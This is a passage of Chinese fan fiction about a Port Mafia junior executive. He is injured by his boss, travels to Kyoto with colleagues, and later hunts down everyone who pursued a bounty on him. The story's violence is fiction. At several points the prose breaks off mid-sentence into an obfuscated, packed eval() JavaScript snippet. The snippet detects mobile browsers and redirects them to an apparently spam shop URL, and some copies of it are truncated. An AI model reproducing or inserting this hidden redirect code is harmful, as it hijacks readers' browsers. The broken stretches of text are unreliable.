单纯追究他的违约责任那倒也不错。打发斤斤计较生意人的办法有很多,他可以接受违约金翻倍的霸王条款以解决对方的穷追不舍。只可惜对方太贪心。人过分贪婪,是因为还没到因贪欲而葬送自己的时刻。吃到教训之后,才会明白自己的目光如何短浅,以至于害死自己。 “原本想着没事做的你可以来这边打发时间。” 但谁能想到准干部成员一年之内受过的最重的伤,来自自己最信任的首领。 还有别人知道这件事吗? “‘医生’也知道。” 他特地起了个大早,想避开大部分白日里工作的成员进总部大楼的时刻,却因为身体意想不到的疼痛而拖延了一阵。所以,他上午进医疗部的事,还是有人会看到。 你在京都有电影拍摄工作? 公关官却要对他卖个关子。 “明天,以我的‘助理’的身份来公司看看吧。” “助理”?可他对演艺行业的事一窍不通。 抱歉,他出门接个电话。 上衣口袋里手机几乎贴着皮肤。 虽然中也先生及时收手了,但这份疼痛挺折磨人。 现在的他像一株含羞草。如果此刻有人碰他,他只能面色发白地咬牙忍痛。 接完电话,他返回房间,公关官问,医生没给他开药吗。 “止痛药什么的。” “他说,物理性损伤,普通止痛药没用。” 所以他拿到的是医生给的“特效药”。说有副作用,也不能从根本上消除这份痛苦。 演技过人的青年脸上此刻浮起一丝真情实感的疑惑。 “哪来的‘特效药’……你吃了?” 恐怕是医生给佐久间开的心理安慰剂。反手关上门的佐久间身形迟钝,收起手机的动作也慢吞吞的,重力的影响似乎还没从这具身体上散去。 努力维持平静的神色,望着沙发上的金发青年,佐久间弥津回答,“吃了一颗。但自我感觉,没用。” 牵一发而动全身,他会谨记医生的嘱咐,少和不相关的事物接触。很难说,现在的他是不是脆弱到会被找他握手的人用疼痛杀死。 离开他们共同的归处,表面身份是电影演员的人并没有混淆两种身份。难道他有对眼前的人很了解吗?没有这种事。优秀的演员……都能把别人喜欢的一面表演给对应的人看吧。 对症下药,大概是这样的道理。 他没看过对方出演的电影。连电影院都很少踏进。在港口黑手党成员的身份之外,他只短暂的当过几年书店老板,不像公关官一样拥有另一种站在聚光灯下的身份。 能同时做好这两件事的人真不简单。 Beryuos…… 他无意识间低声说。 没在意他的喃喃自语,那双碧绿如宝石的眼睛望向他。 “有人因为工作上的事找你?” 也不是,“是紫苑。” 只可惜佐久间口中的人名公关官基本没印象。 “紫苑刻。我不在本部的时候,歼灭部队由他暂时负责指挥。” 他进医疗部的行为被昨夜睡在医疗部的紫苑目睹。明明前一日还亲手从他手上接过糖果盒,今日却在医疗部相见。 紫苑自己半年前受过伤,时至今日仍然时不时就会被留在医疗部接受观察。那个场面很尴尬,他只能硬撑着,紫苑好歹能扶眼镜以拖延开口的时机。 医疗部为他做检查的人在那个时候拯救了他。 往往在他手下做事的人会更关心他的“伤势”。 可真相是不能说出口的。 这样薛定谔的疼痛不知会持续多久。 作为电影演员时的公关官用的仍然不是真名,而是另一个名字。靠担任助理打发时间的他只需要带着一个什么都没装的文件袋,它取代了伞的位置。 跟在公关官身边,他一句话都不用说。在一个多方面条件都极其优越的人面前,嗓子有旧疾,长相也自认为很平凡的他心安理得的当个挂件。 然而,佐久间弥津不知道他为了忍受会上演突然袭击的疼痛而习惯性摆出的冷脸,赶走了不少对他的“同事”心怀不轨的家伙。 冷冰冰的气质,不愿意和其他人交流,不像知名电影演员的助理,反倒更符合喋血杀手的形容。 佐久间弥津没考虑过公关官这几天经常没来由冲他笑的理由。他只以为这是演员日常生活的一部分。 而他自己仅能做到把工作和生活区分开而已。 佐久间弥津就这样整日提着文件袋打发时间。走路,接电话,占据了他吃饭睡觉外的全部运动量。谁都可以打电话给他,哪怕是如今本部唯一的干部成员。钢琴家必然是从别人口中听说了他的遭遇——佐久间弥津怀疑是医生偷偷泄露的。 是的……他知道自己被误伤很好笑。 每日往客房床上躺之前,他都要做好心理准备。无论床铺有多绵软,他的脸色都会变得极其难看。不用照镜子都知道的那种难看。 一旦躺到床上,他就不会再动,直到第二天醒来,起床时再次经历一遍折磨。 电影演员的工作在某种意义上来说也很忙碌,对自己的工作选择具有绝对话语权,不会全都交给经纪人决定的人尤其如此。 公关官的经纪人知道大明星的另一重身份,对无故成为助理的他也有几分显而易见的畏惧,但出于众所周知的原因,必须帮他们保守秘密。 他时刻带在身边的文件袋空空如也,担心迟早被别人看出破绽,他装了本有点厚度的纸质文件。是公关官随手给他的,据说是好几年前某部电影的剧本。 “你想仔细研读么?” 他不是很想。自己和文学艺术不太沾边,这一点他还是知道的。 大明星会有拍摄工作。这种时候,他一般会抱着文件袋在附近找间空屋子等,不会靠得太近。 他动作缓慢地拖来一张椅子,坐到窗边,盯着正在进行外景拍摄的人群。 像是回到了他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789269|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店的日子。可以放空大脑,盯着或眼熟或陌生的路人从店门外走过……只是少了会进店和他打招呼的人。 他摇了摇头。 该放手那段记忆了。 可正是这样催眠自己的举动,让他忽然瞧到一辆奇怪的商务车。 车牌沾满潮湿的沙子,停在距离拍摄地点稍远的地方。紧靠着路灯和郁郁葱葱的树,从他的角度,能看到车前挡风玻璃边缘也有因水分充足而结块的沙子。 车本体应该是黑色的,从唯一干净的副驾驶车门上能看得出来。但车身充满剐蹭痕迹,锈迹斑斑,停在一条行人较少的路上。 外景拍摄工作的开始时间是午后,他孤零零地坐了一个多小时,但这辆车方才并没有出现。 从驾驶位下来的墨镜青年兴奋地左顾右盼着,像在找人。 他只好十分缓慢地站起来。从他所在的房间,到那辆破破烂烂的车前,他走了五分钟。 他身上带着公关官塞给他的工作人员证,出入没问题。停在园林外的商务车好像是本部的公务用车……但破烂成这个样子,说是从废弃物仓库开出来的也没问题。 走得近点,他才透过挡风玻璃看到位于副驾,正准备开门下车的青年。他是许久没见到这位旗会的前辈了…… 天性热情的青年上前单手搂着好同事的肩膀。 “好久不见!从欧洲回来的感觉怎么样?能放带薪长假一定很爽吧?” 所以说,佐久间这样的武斗派生活很简单吧。 完成上司的命令之后,自然而然地就会放假,还有医疗部为其保驾护航,虽说任务强度是组织里最高的那一挡,但他说简单的意思,是与日常工作繁且杂相对的“简单”。 “我们也刚做完手头的事。听说你被‘大明星’喊来这里,怎么样?是不是比你在欧洲四处出差有意思。” 谁能想到,他们看起来生人勿进的港口黑手党准干部先生,其实是个心情好吃烤肉,心情不好也要吃烤肉甚至生病时也不放过自己的胃的家伙。 信天翁绝不会放过调侃佐久间的机会。 “不……” 好疼。 好像身体被注射了毒素后,让人绝望的毒发瞬间。眼睛忽然之间变得很痛,他看不见自己眼前的车辆。脖颈、肋骨、腰腹乃至四肢,都在喊疼。 沉重又让人窒息的疼痛撕咬着他。 “嗯?什么?” 真的好疼。 骨头仿佛被拆解,丢进有去无回的火山口;又像身处千万米深的海底,每一寸皮肉脆弱如纸。眼前发昏,他整个人摇摇欲坠。 “不要……碰我。” 凭空出现的沙石高高扬起,掩盖住银蛇般在空气中乱窜的电流,也遮掩了瞬间出现在地上的焦黑污痕。 被冷血及时一脚踹飞进草丛的信天翁狼狈地趴在草里,猛咳几声。 怎、怎么了?能力失控了? 漫天扬沙中,双手捂着自己脸颊的人影伫立在原地。 被异能操纵的沙子汇聚在佐久间弥津脚下,若是能力突然暴走的人没能恢复理智,流动的沙海会将其先一步吞掉。 “抱歉。” 骤然降临的疼痛在片刻后如随风飘散的花瓣一般散去。 已经被沙子掩埋至脚踝的人缓慢地低声解释,“身上……有点小伤。” 原来被重力压垮的人,死前都是这种感觉。 67.聚众喝酒的二分之一旗会 信天翁对疼得在沉默中发狂的人连声道歉,在接下来的时间里相当注意与之保持距离。 杀手出身的冷血之后检查过那据说是医生给佐久间弥津的“特效药”,解释说,“是甲钴胺。” 营养神经,缓解疼痛。 这么说来,医生也不算骗人。 那日发生的事虽然只是意外,但也有蝴蝶效应。 反应最快的杀手先生及时把差点被佐久间弥津异能波动影响的信天翁踹开。 接下来几天里,信天翁常喊自己腰疼。 他们两个这几天都一样在被疼痛折磨,谁也别觉得不公平。 佐久间弥津想知道,这两人会在京都呆多久,又为什么会来,难道是和他一样进入了强制休息期? “是为了向某些暂时离不开横滨的人炫耀,‘看,我们多自由,想去哪去哪’。” 开车的信天翁回过头,看着他说。 “……请别回头。” 第一次坐信天翁开的车,佐久间弥津心里有点害怕。他自己开车的时候很少,出远门会坐优开的车。很稳,而且快。 他发现完全不能用常理来形容信天翁的车技。举手投足间是对车况和路况绝对的胸有成竹,可他不是很信任。 他问,你来过京都吗。 信天翁又想回头说话,他连连摇头,导致自己被脖颈传来的疼痛激得一句话都说不出来。 “你担心我走错路?” 这辆看着破破烂烂的商务车其实内有乾坤。汽车内饰没有外面那么凄惨,大部分地方都完好无损,只是包裹着方向盘的皮革被割出许多道口子。 和他一起“坐”在中间排的是他的文件袋和两把□□,刀刃锋利异常。 “绝对不会哦。” 几天下来,同样的路,他开了足有五六遍。 可现在是晚上。佐久间弥津想说。日落之后,天黑得很快。对向车道来车在市区道路上开着远光灯,他坐在中间排的座位都被晃了眼。 精力充沛的司机没开车窗,但大声哼着奇怪的调子。副驾驶位的青年对信天翁的举动不加阻拦,专心研究车内的空调,坐在前排也没系安全带,丝毫不担心如果旁边的司机冷不丁来一脚刹车的话,他要怎么办。 看着如此迥异但意外和谐的一幕,佐久间弥津不由得盯着前排二人发起呆。信天翁哼的调子他没听过,中间扯着嗓子正经唱了两句,他也没听清歌词。信天翁的嗓子像是代替了车内音响。 直行的车辆突然拐进一条小路。单行线,只容一辆车通行。佐久间弥津想回头看,但像落枕似的疼痛逼得他只能慢慢扶着车门扭转上半身。如果知道留宿在中也先生家里会遇到这样的意外,他那天无论如何都会回酒店,哪怕是双脚走回去。 回过头的人看到了跟着他们进小路的车。一辆黑色轿车,是当消耗品用让人心疼的品牌。 信天翁从车内后视镜里看到回过头来的准干部先生的眼睛。佐久间显然已有自己的打算。但他没想把佐久间放下车。 “你想干什么?” 他是有点明知故问的意思,毕竟佐久间一副想要以准干部的名义命令他停车的眼神。 车在路况堪忧的小路上依旧飞快。 如果他们此刻在横滨,或者某次任务中,按理来讲,他们所有人都应该接受佐久间的“指挥”。但现在可不是那种情况。 车在曲折的小路上左拐右拐,以佐久间弥津从未想过的速度甩开追兵。 他伸出手,从隔壁座位上拿到被他不离身带了多日的文件袋,摇了摇,内里的纸质剧本重量很实诚。 跟上来的家伙是为了这个吗? “可能吧。我也不知道呢。别管他了,他自己处理的了。” 可是文件袋里只有一部剧本。 “你看过吗?” 佐久间弥津摇头。表示没有,他只是带着文件袋出现在许多人面前。公关官说这是以前用过的剧本。 甩掉追兵后的司机继续一边开车一边哼佐久间弥津听不懂的曲调,而副驾驶位的人和之前一样纵容司机开车时分心,手上拿着一个造型极其普通的打火机,时不时按一下,打个火,但不点烟。 小小的火苗映在挡风玻璃上,是车辆在似乎漫无边际的夜晚行进时最温暖的光。 佐久间弥津不再固执己见。 旗会的诸位做事早有一套自己的思维,而他现在是个被首领勒令休假的普通人。 回到市区道路上风驰电掣,高速行驶的车辆在司机逐渐疲惫的歌声中渐渐减速,最后慢慢驶到一处酒庄的后门。要求他下午一个人在演艺公司办公室呆着的人,此刻正站在门口的路灯下,侧头望着他们。 他们乘坐的车在青年面前停稳。车门打开,公关官没有上车,而是脱掉了外套,丢给了他。昨日和今日,连续两日都是阴天,这件外套,在初夏的深夜穿着厚薄正合适。 旗会的三人依旧各干各的。 冷血还在按打火机,一路上充当司机的信天翁对着车内后视镜拨弄头发。打开车门的人对他和善地笑了笑,把□□和他随身带了几天的文件袋丢到最后排,熟练地掀起座椅,从座椅下的储物空间里拎出两把冲锋枪。 抱着外套的他像个手足无措的局外人。 一想到眼前的青年时常会出现在电影院大荧幕上,他总觉得有点不可思议。 青年正要关门,他伸手挡住,起身准备下车。 虽然他不知道公关官要做什么,但看那两支被拎走的枪,接下来的,应该是他的“工作”内容。有他在场,居然还要别人动手,难道这不算失职吗…… 车门“哐”的被合上。 信天翁悄悄看了眼被推回原位,现在正蜷缩在座位上忍受浑身疼痛的人,他心里蛮同情的。 “我不是说了吗,你别管他。” 他控制着佐久间旁边车窗落下一半,意图让被公关官二次造成创伤的人有机会多呼吸点新鲜空气。 等到疼过劲了,神情麻木的准干部才重新坐直,静静听着车窗外传来的连绵不绝的枪声。 当他们都熟悉的人影再次出现在酒庄后门,司机清了清嗓子,准备在回程的路上继续高歌一曲。 提着弹匣空掉的冲锋枪,办完正事的大明星拉开车门,笑着望向四个人里其实年龄最小的准干部。 “怎么,生气了?” 真是抱歉,他刚才正在气头上,动手可能重了点。 欸……他的外套居然没有被佐久间拿去泄愤,拧成一块破布,而是被简单折叠,摆在了座位扶手上。 “没有……只是大幅度动作会疼。” “下次不来挡我关门,就不会疼了。” 冲锋枪被放回原处。公关官站在车外,脱掉沾了血的黑色马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是,要开车的司机也喝酒吗? 今晚不会要露宿人工湖边吧。 他心情苦涩地喝完一杯酒。以至于在接电话的时候,语气还没适应电话另一头的场景,仍然很颓废。 这样的语气把优吓了一跳。 “没事。”他解释道,“我在外面喝酒。” 外面喝酒? “嗯。和……你见过的人一起。” 旗会的几位“前辈”,作为他副手的优自然见过。不像他从这几人身上学来的习惯,总是称呼他们代号,优竟然知道他们中个别人的本名。 可也许那些“本名”只是另一个假名。 他自己是不介意别人称呼他奇怪的名号的,只要知道别人口中的名称指代他自己,不会认错就够了。 优打电话来说,最后一盒巧克力刚刚也送掉了。 他离开横滨休假的事,没有大肆宣扬,不知道他去处的人,只懂得在酒店和办公室找他。 他没时间一一送掉的巧克力,就拜托办公室和酒店房间其实都在他隔壁的优遇到吃闭门羹的成员时,送给他们。 “辛苦了。我过几天就回去。” 剩下的一半假期,他应该在横滨度过。 68.被悬赏的准干部 梅雨季的意义是什么。 某种天气,还是夏季的一部分。 对佐久间弥津来说,梅雨季是和他忙碌工作期平行的两条线,也是计时的方式之一。如果谁能注意到他在雨天出门的生活习惯背后的秘密,这样的人或许大有可为。 第一滴包裹灰尘的雨滴落在港口黑手总部大楼楼顶的停机坪,结束强制休假期的准干部先生回到了他的“家”。 佐久间弥津早就习惯了雨天工作,因此总结出相当之多的生活小技巧。比如,从室外到室内,把维尔丹尼变成手杖,就不会向下滴水了。“等到离开室内后,再‘释放’它身上的异能,恢复成原样,就可以继续遮雨了。” 青年的语气淡淡的,但港口黑手党的首领竟然诡异地从中听出几分发自内心的骄傲,和佐久间曾经对他介绍伞的价格和牢固耐用时一模一样。 这种时刻,什么都不表示就太尴尬了。 中原中也连连点头,表示对佐久间生活技巧的赞同,“是挺有用的。” ……好像更尴尬了。为什么佐久间怎么总是给他出这种难题? 他假装认真在看电脑屏幕。 一旦佐久间走到他身边,就会发现他屏幕上其实空空如也。按鼠标是因为刚刚手忙脚乱点开了内部网站但又没有要处理的事所以只能匆匆关掉。 幸好佐久间的注意力转移到了被他摆在桌上的八音盒。 “有用过吗?” 还没有,八音盒在他的办公室里只起到了装饰作用,让房间看起来没有那么冷硬无趣。 他观察佐久间的脸色,也不像担心悬赏的样子。灰白的外套上别着一枚精巧的浪花型胸针,在日光下泛着清新的浅蓝色。他见过这枚胸针好几次了,佐久间在本部的时候常常会戴。 指尖轻轻触摸自己胸口佩戴的胸针,感受到那份让人舒适的冷意,佐久间弥津轻声道,“这是水落去年送给我的礼物。” 算是……回归礼物之类的?恐怕水落等这一天等了很久了。 经过染崎的亲手改造,胸针多了几个让人意想不到的功能。平常方便的话,他会带着,是装饰物,也是不知何时就能用的到的小玩意。 在他“旅居”京都时,优说情报部的枢川在此期间亲自找过他两次,可惜他两次都不在本部。 在回来的路上,他才得知情报部有人员不久前发现,有ip在境外的匿名组织对他发出了悬赏。其实他心里没多余的想法,以他的所作所为,成为通缉令被贴满横滨大街小巷的臭名昭著通缉犯,不过是时间问题。 假如人死后仍然存在意识,那么,对他的抨击、辱骂、恶毒的诅咒想必早已遍布地狱的每个角落。被他杀死的人一定会去地狱报道,他也无疑会这样。但在他活着的时日,他还有太多事要做,谁也不能妨碍他。 从首领办公室兜兜转转来到干部成员的办公室,扫了一眼脱手掉在地上的手杖,佐久间弥津不明就里地望着突然把他右手吊起来的干部先生。 他已经好了。就算真的被吊到天花板上,也不会再疼得眼前发黑。 锋利的钢丝缠住他胳膊和手腕,没有紧到会勒断,隔着衣服布料,只会勒出红色的痕迹。 但在钢琴家解释此番行为之前,他不会把胳膊从钢丝里抽出来。 “假如我们是敌人的话,你现在会怎么做呢。” 准干部先生不假思索地回答,“攻击你的心脏和大脑。” “那么,倘若在交手的瞬间,我对准的不是你的右胳膊而是你的脖子呢。” 钢丝松了劲,佐久间弥津得以解放自己的右胳膊。他弯腰从地上捡起维尔丹尼。 “那就……再来试一次吧。” 两分钟前刚进到干部成员办公室的青年离开那间办公室,随后又以相同的冷淡神色再次开门进去。 站在走廊上目睹这一幕的成员露出迷惑的表情。 若无能力天生的限制,立在钢琴家眼前的电流幕遮蔽的就不仅仅是他一个人的视线了。 与刺眼的电流幕同时出现的,还有心脏的位置传来的仍然在他忍受范围内的不适。电流声在安静的地方尚且扰人,更何况是佐久间日常需要面对的战斗场合。 但钢丝无疑在电流幕出现的瞬间捆住了什么。按他的一贯手段,钢丝接下来会切断敌人的脖子,在尸体上留下平整的切口,涌出的鲜血会弄脏他办公室的地板。 钢丝传来的反馈意味着被捆住的不是别的东西,而是佐久间那把有秘密的伞。 他回过头,在电流幕的掩饰之下成功摸到他身后不远处的人面无表情地凝视着他。 公关官总说,如果盯着佐久间的眼睛看,就会发现这人是个心理活动比表情生动数倍的人。 今日一见,果然如此。怕不是在心疼被自己挡在身前,因而代替自己被捆住的伞。 但检查过雨伞,发现雨伞毫发无损之后,佐久间的眼神立马变了。 变得有些欣慰和满意,就连因为落在地板上的水滴向他表示抱歉时,声音听起来也不再低落。 “打算怎么处理你的悬赏。” 佐久间对他说,自己还没看过悬赏令的文本描述,“他们是要我的性命吗。” “恰恰相反。对方想要活着的你,出价还不低。” 问题在于,那份悬赏对准的人,可是港口黑手党里如今炙手可热的准干部成员。即使是他们的首领听说了这回事,恐怕也要质疑自己听错了。 “被悬赏的是别人,他们也许要对自己的安危上心点了。”若是在战斗一事上不算精通的人,面对这种时不时就可能有敌人找上门的可能,会慌张是正常的。 但偏偏是你,你没有想到什么吗。 玫红色的眼睛望着他,似乎在思考。 佐久间给他的答案是,“说明我做的还不够。”仅仅凭借能力站在前台还不够,还要做更多,才能让潜在的敌人连对他展露敌意都做不到。操纵他人心中的恐惧,很容易掌控人心。 “不是哦。这意味着你的确被一些来历不明的人‘看’到了。” 对方的底细还在调查中,但这才是能够证明你干得不错的证据。若对方悬赏的是组织的干部,那是对我们正式发出的挑战。 “但悬赏大放异彩的准干部,必然是抱着在你彻底成长起来之前解决掉你的想法。你的某些行动威胁到了他们。” 那双色彩热烈的眼睛看了眼地上越积越多的水滴,又扭过头来看着他,眼里有些不好意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“佐久间认为自己给组织创造的价值可能只是那个价钱的十倍而已。” “只是”吗? 这个用词是很耐人寻味。 比起担心准干部先生被“活捉”,他们之中更多的人想要知道的是,佐久间要怎么处理这种情况以达到利益最大化。 在去年那般紧急事态下由其亲手搭建的战斗部队,于半年后迎回了自己最初的主人。 这一个月里,准干部对悬赏令没太大反应,只是对亲近点的成员私下里感慨过,原来自己那么值钱。此外,什么都没变过,连每日下班前必去一趟首领办公室——如果首领不在就去干部成员办公室——的习惯都不曾改变。 会让许多人讨厌的漫长雨季来临,这正是佐久间弥津一年之中最忙碌的时候。悬赏金额每周一变,镜优同样每周从情报部人员手上获取新的“价格”——他莫名感觉有点像游戏里的炒股。 情报人员最初小心翼翼交涉,生怕那位准干部因为悬赏金额增加而发火,如今已经变成每周同一时间在办公室早早联络那位准干部的副手,发誓会盯住地下交易的传闻风向。 若悬赏金额从未改变,他们还不会这么精神满满。 但现在,悬赏令的性质显然已经变了。 如果不能在新的一周看到更高的数字,他们将会寝食难安。 69.港口黑手党的最高敬意是—— 那位准干部敲响情报部门会议室的大门时,一众成员都在盯着电脑屏幕看。 有人在匆忙之中喊了一声“请进”。 推门而入的青年神色平静,丝毫没有因为看到他们工作时间聚众不务正业而蹙眉不满。那双玫红色的眼睛落在浑身僵硬地站在电脑前的他们身上,似乎想询问他们在做什么。 谁会不认识这位准干部?除非他们在一个月前刚加入组织。 他们还能聚在电脑前做什么,当然是欣赏本周更上一层楼的悬赏金额。感叹那样的金额已经达到了他们的首领数年前最高赏金纪录的一半。不过,在组织内创造这项纪录的首领当时还是未成年呢。 雨天午后,天色昏暗,室内几乎要整日亮着灯。 看到那张和青年的身份相比,十分无害的秀气脸庞,七嘴八舌的人们突然安静下来,嘈杂的雨声就占据人们全部的注意力。 银发青年在寂静中环顾会议室。 “枢川呢。” 准干部要找的人居然在工作时间玩失踪。气氛越发凝重,情报部成员只能在心里尖叫。 “有充电线吗,我手机没电了。” “……有!请问需要哪种?” 虽然交不出枢川先生本人,但手机充电线要多少有多少。 向他们借到充电线的准干部先生出门找了间无人的办公室,盯着开机的手机屏幕,一言不发,对他们出于好奇频频从会议室探出头望过去的行为无动于衷。 就算是这位看起来有点不好接近的准干部也有一边充电一边玩手机的习惯呢……可能这是现代人的通病吧。 悬赏令的金额越来越高,自然有亡命之徒心动,打算碰一碰运气。和港口黑手党有往来的组织不敢对他们的准干部动手,但都在暗地里希望有人真的能“活捉”港口黑手党的准干部,以削弱这个庞然大物的实力。 “生意”无处不在,佐久间弥津的性命也可以成为一桩生意。 登上悬赏令的人有许多邪乎的传闻。其中不乏有人认为佐久间弥津心存反叛之意,证据是其在五年前逝世的那位首领在任时就已经是港口黑手党的成员。这只是其中一种较为激进的说法。 悬赏令高高挂起,像个公共靶子,谁都可以对其开枪。 过去的两个月里,有人猖狂地叫嚣过,也有人声称对这笔钱胸有成竹,但没人听说有谁真正拿下了这笔高额的赏金。 关注这起悬赏令的人遍布各个行业。悬赏金额在两个月后不再增加,最后定格的数字高不可攀。 而被悬赏的人此刻正全神贯注地阅读手机屏幕上的娱乐新闻,两耳不闻窗外事。 是公关官前段时间在京都出席过的活动。若是只关注出现在公共媒体镜头里的青年,绝对不会相信这位笑容温和举止得体的影星会是黑手党组织的一员。 不久前,公关官和他说,异能特务科没耐心了。 “因为你的悬赏令,不少想碰运气的非法分子最近都在尝试神不知鬼不觉地入境横滨。”他们早有准备,“拦截”了一部分。但准干部的吸引力似乎比他们想象中还大。 “你打算怎么解决他们。” 佐久间弥津对眉目间略带疲惫的大明星点头,表示自己知道了。 “最近,没休息好吗。” “……和这件事无关。我只是因为其他事务在加班而已。” 他们的准干部仿佛只会点头和摇头。 驻留本部的干部成员在办公室呆着练飞镖技术,被悬赏的准干部本人在当低头族,连首领也神出鬼没不知道在搞什么——若不是首领的安危用不着别人操心,他真该发愁组织的未来了。 一眼看得到头。 没有外出任务的时候,佐久间弥津会去干自己的事,比如出个一夜之间的差,再比如呆审讯部。这是他最近发现的好去处。 他想把手机里的视频给公关官看,以证明自己在努力工作——但效果甚微,似乎谈判专家引以为傲的口才在和他单独相处时总是变成抓不住的水流走,徒留无奈和妥协。 叫停录像播放,公关官问他,“你的胸针有摄像功能?” “嗯。” 他想对公关官实际展示如何打开这个功能。 但从不畏惧摄像头的人匆匆起身,离开他面前,像是不想和受尽折磨的囚犯被同一个机器拍到。 “你很擅长同时对许多人施压。” 上次对付武装侦探社也是这样。 那日的他回答道,也许吧。 其实他所做的一切都只是想给组织争取更多利益。 读完新闻的内容,手指意外碰到手机屏幕,跳转到了新闻下推荐的相关内容。 佐久间弥津是个很少听八卦的人。在以前,镜优是很爱和他唠叨这些,但也只是犯罪组织内部流通的小道消息。他认为自己离所谓的影视行业很远,今天是他第一次关心娱乐新闻。 从数据中心接到消息赶回来的枢川伶司,看到侧对着房门的准干部盯着桌上小小的手机屏幕,如临大敌。 ……其实他的角度,看得到佐久间先生手机屏幕上的内容。在看到那些惊为天人的花边新闻之后也要努力维持表面冷静吗? 他谨慎地问,有什么命令。 “我这里有几段视频。” 将几段视频散播出去?仅仅是这样的话,不专门来找他也可以。 但他依然点头应下,“好。” 毕竟作为下级,听从命令是不会错的,他当下便着手安排。拷贝好那几段以日期和时间命名的视频,时长从几十秒到几十分钟不等,他随手点开第一个。 他的电脑一向设置为静音。打开的每一段视频都是第一人称视角,视频分辨率很低,像上个世纪的舞台剧录像。 镜头移动起来很稳。出现在第一段视频里的人被马赛克挡住全身,但看着应该是朝着镜头跑了两步,随后被一把没撑开的伞狠狠砸中,鲜血立马从头颅破口涌出,是连马赛克都挡不住的鲜红。 明眼人都知道,这是佐久间先生总是随身带着的那把伞。 伞,枪支,随便从桌上操起的水晶烟灰缸,桌上的机械键盘,什么都可能被拍摄者拿来当武器。 ——这是佐久间弥津从旗会某位前辈身上学来的战斗技巧。 枢川伶司拖动进度条,跳跃着看完第一条视频。视频的最后十秒,是一个死在电梯里的穿西装的男人。整段视频中唯一一个没有打马赛克的人,似乎是故意为了让看到视频的人认出其身份。 他认识这个男人,因为关于这个组织的报告是他亲自带给首领的。一个在暗网上发布过佐久间先生相关虚假信息的组织,总部在距离横滨很远的城市,以最快交通方式往返需要十二个小时。 整整十秒,拍摄者在对着已经死亡的男人不停开枪,随机对准头颅、胸口和四肢。直到手枪的子弹被耗尽,电梯门关闭,视频戛然而止。 视频里,除了他认识的拍摄者再无第二个港口黑手党的成员。 其他视频的内容都大差不差,有在组织地牢拍摄的片段,也有单枪匹马向敌人发起雷霆攻势的处刑实录。 “佐久间先生。” 拔掉充电线,准备出门的青年回过头来,用眼神询问他,还有什么不懂的。 “你去了外地吗。” “嗯。有空的时候就会去,根据你们给的情报。” 青年没有隐瞒。 “……一个人?” 问出这个问题的枢川伶司自知失言,正打算做点什么弥补自己在言语上的冒犯,把充电线物归原主的准干部却对他轻轻点头。 “差不多吧。” 不够清楚的回答,但枢川伶司无权再问。他接下来要考虑以怎样的形式把这些第一人称的处刑录像交给合适的人。 “还没有幕后之人的消息吗。” 他听到青年又问他。 佐久间准干部不是丧失人性的虐杀狂,也没有热衷血腥游戏的病态心理,那张年轻又表情单一的脸上写着公事公办,一举一动都在为组织牟利。 凡是表示过对悬赏令感兴趣的个人和组织,哪怕只是口头言语上的表达,都自赏金停止增加的那天开始,被这位年轻的准干部在组织的工作之余“抽时间”一一肃清。 情报是他们提供的,不同视频片段里的敌人他都在文件里看到过。 而这些对他们的准干部口头逞能的敌人不仅失去了性命,连遗留的财富都被掠夺——以犯罪组织最常见也最普通的手段。其实比起施压,佐久间弥津更擅长连吃带拿。不放过细微之处的得利,认真严谨,像个站在手术台边的医生。 准干部仿佛在用这种行为对所有人表示赏金应该更高些才合理。 青年没有高层的架子,躲在助理办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805442|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室给手机充电的样子像个普通的上班族。面部表情很少,但熟悉之后便再也不会认为其难以接近,只是因为嗓子受过伤所以说话很少而已。 枢川伶司觉得,佐久间准干部过去一定因为自身的气质和冷淡的神情被不少人误会过。 “……有。但对方的来头比较特殊,我个人,不推荐向其展开报复。”没人能完成的悬赏,就等于不存在,既然如此,不必过多在意。 * 港口黑手党那名准干部的悬赏令依旧挂在不少人心中。 曾经对高额赏金动过心的人都私下里感慨港口黑手党还真是人才济济。大名响彻地下世界的重力使成为首领之后,港口黑手党涌现出更多年轻又老练的武斗派,那名准干部只是其中之一。 每个敢在暗网论坛上公开讨论悬赏令的人都在不久后被证实身亡。 像失去缰绳的野兽,急不可耐地咬穿下一个猎物的喉咙,以满足自己嗜杀的天性。 即使现实生活中的佐久间弥津和这样的传闻完全不相符,但也没人在意了。反正,赏金再高,也没人会拿到了。 枢川伶司的建议,佐久间弥津并不认同。 无论对方是让国外刑警组织都感到棘手的异能研究机构,还是贯彻不被人理解的“异能回收”理念,因而在研究异能的道路上越走越偏的激进异能组织,必须彻底消失,才能防止其未来对港口黑手党造成伤害。 同样的,想“活捉”佐久间弥津的理由,是想解刨他,还是从他身上提取异能去完成研究,这一点都不重要。 